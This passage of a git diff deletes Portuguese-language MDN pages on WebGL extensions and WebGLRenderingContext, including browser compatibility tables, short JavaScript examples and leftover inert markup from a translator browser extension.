- <li>WEBGL_: Extensions that are WebGL-specific and intended to be compatible with multiple web browsers. It should also be used for extensions which originated with the OpenGL ES or OpenGL APIs, but whose behavior has been significantly altered.</li>
-</ul>
-
-<h2 id="Extensões_de_consulta_disponíveis">Extensões de consulta disponíveis</h2>
-
-<p>O contexto de WebGL suporta a consulta de quais as extensões que estão disponíveis.</p>
-
-<pre class="brush:js">var available_extensions = gl.getSupportedExtensions();</pre>
-
-<p>The {{domxref("WebGLRenderingContext.getSupportedExtensions()")}} method returns an array of strings, one for each supported extension.</p>
-
-<h2 id="Lista_de_extensões">Lista de extensões</h2>
-
-<p>As extensões atuais são:</p>
-
-<p>{{page("pt-PT/docs/Web/API/WebGL_API", "Extensões")}}</p>
-
-<h2 id="Ativar_uma_extensão">Ativar uma extensão</h2>
-
-<p>Before an extension can be used it has to be enabled using {{domxref("WebGLRenderingContext.getExtension()")}}. For example:</p>
-
-<pre class="brush:js">var float_texture_ext = gl.getExtension('OES_texture_float');</pre>
-
-<p>The return value is <code>null</code> if the extension is not supported, or an extension object otherwise.</p>
-
-<h2 id="Objetos_de_extensão">Objetos de extensão</h2>
-
-<p>If an extension defines specific symbols or functions that are not available in the core specification of WebGL, they will be available on the extension object returned by the call to <code>gl.getExtension()</code>.</p>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>9</td>
- <td>{{CompatGeckoDesktop("2.0")}}</td>
- <td>11</td>
- <td>12</td>
- <td>5.1</td>
- </tr>
- <tr>
- <td><code>ANGLE_instanced_arrays</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("33.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_blend_minmax</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("33.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_color_buffer_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("49.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_color_buffer_half_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("30.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_disjoint_timer_query</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("41.0")}} [1]</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_frag_depth</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("30.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_sRGB</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("28.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_shader_texture_lod</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("50.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_texture_filter_anisotropic</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("17.0")}} [2]</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_element_index_uint</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("24.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_standard_derivatives</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("10.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_texture_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("6.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_texture_float_linear</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("24.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_texture_half_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("29.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_texture_half_float_linear</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("30.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_vertex_array_object</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("25.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_color_buffer_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("30.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_astc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("53.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_atc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("18.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_etc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("51.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_etc1</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("30.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_pvrtc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("18.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_s3tc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("22.0")}} [2]</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_s3tc_srgb</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("55.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_debug_renderer_info</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("19.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_debug_shaders</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("30.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_depth_texture</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("22.0")}} [2]</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_draw_buffers</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("28.0")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_lose_context</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop("22.0")}} [2]</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidades</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>25</td>
- <td>{{CompatGeckoMobile("2.0")}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>12</td>
- <td>8.0</td>
- </tr>
- <tr>
- <td><code>ANGLE_instanced_arrays</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_blend_minmax</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_color_buffer_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_color_buffer_half_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_disjoint_timer_query</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_frag_depth</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_sRGB</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_shader_texture_lod</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>EXT_texture_filter_anisotropic</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_element_index_uint</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_standard_derivatives</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_texture_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_texture_float_linear</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_texture_half_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_texture_half_float_linear</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>OES_vertex_array_object</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_color_buffer_float</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_astc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_atc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_etc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_etc1</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_s3tc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_pvrtc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_s3tc</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_compressed_texture_s3tc_srgb</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_debug_renderer_info</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_debug_shaders</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_depth_texture</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_draw_buffers</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- <tr>
- <td><code>WEBGL_lose_context</code></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] Toggling the <code>webgl.enable-draft-extensions</code> preference in about:config is required.</p>
-
-<p>[2] This extension was prefixed with <code>MOZ_</code> in prior versions.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>{{domxref("WebGLRenderingContext.getSupportedExtensions()")}}</li>
- <li>{{domxref("WebGLRenderingContext.getExtension()")}}</li>
- <li><a href="webglreport.com">Relatório de WebGL</a></li>
- <li><a href="http://webglstats.comhttp://webglstats.com">Estatísticas de WebGL</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/webglrenderingcontext/index.html b/files/pt-pt/web/api/webglrenderingcontext/index.html
deleted file mode 100644
index e1558755ca..0000000000
--- a/files/pt-pt/web/api/webglrenderingcontext/index.html
+++ /dev/null
@@ -1,444 +0,0 @@
----
-title: WebGLRenderingContext
-slug: Web/API/WebGLRenderingContext
-tags:
- - WebGL
- - WebGLRenderingContext
-translation_of: Web/API/WebGLRenderingContext
----
-<div>{{APIRef("WebGL")}}</div>
-
-<p>A interface de <code><strong>WebGLRenderingContext</strong></code> fornece o contexto de renderização de OpenGL ES 2.0 para a superfície de desenho de um elemento {{HTMLElement("canvas")}} de HTML.</p>
-
-<p>Para obter um objeto desta interface, <em>call</em> {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} num elemento de <code>&lt;canvas&gt;</code>, fornecendo "webgl" como um argumento:</p>
-
-<pre class="brush: js">var canvas = document.getElementById('myCanvas');
-var gl = canvas.getContext('webgl');
-</pre>
-
-<p>Once you have the WebGL rendering context for a canvas, you can render within it.</p>
-
-<p>The <a href="/en-US/docs/Web/API/WebGL_API/Tutorial" title="WebGL tutorial">WebGL tutorial</a> has more information, examples, and resources on how to get started with WebGL.</p>
-
-<h2 id="Constantes">Constantes</h2>
-
-<p>See the <a href="/en-US/docs/Web/API/WebGL_API/Constants">WebGL constants</a> page.</p>
-
